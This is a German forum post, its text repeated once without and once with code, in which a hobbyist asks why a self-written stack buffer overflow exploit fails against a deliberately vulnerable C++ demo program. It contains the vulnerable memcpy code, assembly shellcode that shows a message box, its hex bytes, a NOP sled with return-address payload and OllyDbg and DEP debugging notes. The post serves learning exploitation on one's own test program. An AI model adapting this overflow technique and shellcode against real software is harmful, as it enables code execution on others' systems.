Hallo liebe Leute, ich bins wieder mal ..
Ich habs mir bisher verkniffen, nochmal danach zu fragen, aber irgendwie leuchtet mir die Lösung auf mein Problem, an dem ich schon seit ca 2 Tagen sitze, nicht ein :S
---Sacherläuterung:
Vulernable Code:
Nun habe ich mir ein Shellcode vorbereitet:
Nun sieht mein Shell ~ so aus:
Der Stack schaut wie folgt aus:
Buf[128]
Variable[8]
FrameBuffer[4]
RET[4]
Dh. Ich muss den Buffer so überschreiben, dass bei [140] dei Rücksprungsadresse überschrieben wird:
Die Adresse $22FF01 müsste mitten im Nopland sein!
Weitere Notizen, die ich mir gemacht habe:
// Kommt jetzt nicht auf die Idee, das ich die NOPS manuell erstellt habe
---
So, nun zum eigentlichen Problem:
Wenn nich nun die (vulnerable) Anwendung von meiner Anwendung mit dem Parameter Shell starte, passiert nichts. Dazu habe ich nun Olly mit folgendem Parameter aufgerufen -> "<Path to vulnerable C++Program>" "Shell"
Da kann ich schön beobachten, wie der Buffer mit 90 usw befüllt wird, aber ganz am Schluss steht nur ein Teil meines eigentlichen Shellcodes :S DH es wird nicht 100% kopiert bzw RTN Adresse wird somit auch nicht überschrieben
Der Shellcode hat keine 00Bytes.
Ich habe mir noch Artikel zu DEP gelesen, aber ...
Mein Shell funktioniert auf dem Stack, wenn ich ihn manuell in Olly einfüge :S
Sicherheitshalber habe ich die vulnerable Anwendung zu den DEP-Ausnahmen hinzugefügt.
Wieder nichts Dann habe ich das ganze auf meinem XP-Standrechner ausprobiert(Ich benütze Vista auf meinem Laptop) - Auch nichts
PS: Wenn ich die Anwendung mit Shell := StringOfChar('A', 144) starte, wird der Parameter 100% angenommen und überschreibt die Rücksprungsadresse -> somit wäre meine weitere Annahme, dass die Stelle >>Variable[8]<< schreibgeschützt ist, fürn Hugo.
Ich bin schon am verzweifeln. Ich hoffe, dass mir irgendwer helfen kann.
EDIT -> UPS .. HAB DOCH N 00 Byte GEFUNDEN .. MIST ... MOM.
EDIT2 -> OK. Nun hab ichs ausgebessert; der Fehler ist aber trotzdem noch nicht weg
MfG
Ich habs mir bisher verkniffen, nochmal danach zu fragen, aber irgendwie leuchtet mir die Lösung auf mein Problem, an dem ich schon seit ca 2 Tagen sitze, nicht ein :S
---Sacherläuterung:
Vulernable Code:
Code:
// C++ Syntax
#include <iostream>
#include <windows.h>
using namespace std;
int main(int argc, char* args[])
{
if (argc < 2) {
MessageBoxA( 0, "This demo must be started with some parameters", "Information (.Lone.Wolf)", MB_OK | MB_ICONINFORMATION );
return 0;
};
char buf[128];
ZeroMemory( &buf, sizeof(buf) );
//strcpy( buf, args[1] );
memcpy( buf, args[1], strlen(args[1]) );
printf( "%s", buf );
MessageBoxA( 0, buf, "Input (.Lone.Wolf)", 0 );
return 0;
}
Nun habe ich mir ein Shellcode vorbereitet:
Code:
// Delphi(asm) Syntax
asm
xor ecx, ecx
add cl, $60
sub esp, ecx // damit nichts im Stack überschrieben wird ...
jmp @start
@main:
// ecx = 0
// edx = MSG
// eax = MsgBoxA
xor ecx, ecx
// imgbse + $4B2C4 (Importtable) = MessageBoxA (user32.dll)
mov eax, ecx
add al, $44
shl eax, $10
add ax, $B2CC
mov ecx, [eax]
xchg ecx, eax
xor ecx, ecx
//MsgBxCall
pop edx // <- Msg
push ecx
push ecx
push edx
push ecx
call eax
@start:
call @main
@MSG:
DB 'Just Exploited ;)', 0
end;
Nun sieht mein Shell ~ so aus:
Code:
31C980C16029CCEB1931C989C80444C1E0106605CCB28B089131C95A51515251FFD0E8E2FFFFFF4A757374204578706C6F69746564203B2901FF22
//als Variable: | Delphi
const
RawShell = // 56
#$31#$C9#$80#$C1#$60#$29#$CC#$EB#$19#$31#$C9#$89#$C8#$04#$44#$C1#$E0#$10 +
#$66#$05#$CC#$B2#$8B#$08#$91#$31#$C9#$5A#$51#$51#$52#$51#$FF#$D0#$E8#$E2 +
#$FF#$FF#$FF#$4A#$75#$73#$74#$20#$45#$78#$70#$6C#$6F#$69#$74#$65#$64#$20 +
#$3B#$29;
Der Stack schaut wie folgt aus:
Buf[128]
Variable[8]
FrameBuffer[4]
RET[4]
Dh. Ich muss den Buffer so überschreiben, dass bei [140] dei Rücksprungsadresse überschrieben wird:
Code:
// Delphisyntax
var
Shell: String;
..
Shell := StringOfChar( NOP, 84 ) + RawShell + #$01#$FF#$22;
Weitere Notizen, die ich mir gemacht habe:
Code:
84x 90(NOP):
909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090
83x NOP + Shellcode + RTNAddr (len = 144):
90909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909031C980C16029CCEB1931C989C80444C1E0106605CCB28B089131C95A51515251FFD0E8E2FFFFFF4A757374204578706C6F69746564203B2901FF2200
---
So, nun zum eigentlichen Problem:
Wenn nich nun die (vulnerable) Anwendung von meiner Anwendung mit dem Parameter Shell starte, passiert nichts. Dazu habe ich nun Olly mit folgendem Parameter aufgerufen -> "<Path to vulnerable C++Program>" "Shell"
Da kann ich schön beobachten, wie der Buffer mit 90 usw befüllt wird, aber ganz am Schluss steht nur ein Teil meines eigentlichen Shellcodes :S DH es wird nicht 100% kopiert bzw RTN Adresse wird somit auch nicht überschrieben
Der Shellcode hat keine 00Bytes.
Ich habe mir noch Artikel zu DEP gelesen, aber ...
Mein Shell funktioniert auf dem Stack, wenn ich ihn manuell in Olly einfüge :S
Sicherheitshalber habe ich die vulnerable Anwendung zu den DEP-Ausnahmen hinzugefügt.
Wieder nichts Dann habe ich das ganze auf meinem XP-Standrechner ausprobiert(Ich benütze Vista auf meinem Laptop) - Auch nichts
PS: Wenn ich die Anwendung mit Shell := StringOfChar('A', 144) starte, wird der Parameter 100% angenommen und überschreibt die Rücksprungsadresse -> somit wäre meine weitere Annahme, dass die Stelle >>Variable[8]<< schreibgeschützt ist, fürn Hugo.
Ich bin schon am verzweifeln. Ich hoffe, dass mir irgendwer helfen kann.
EDIT -> UPS .. HAB DOCH N 00 Byte GEFUNDEN .. MIST ... MOM.
EDIT2 -> OK. Nun hab ichs ausgebessert; der Fehler ist aber trotzdem noch nicht weg
MfG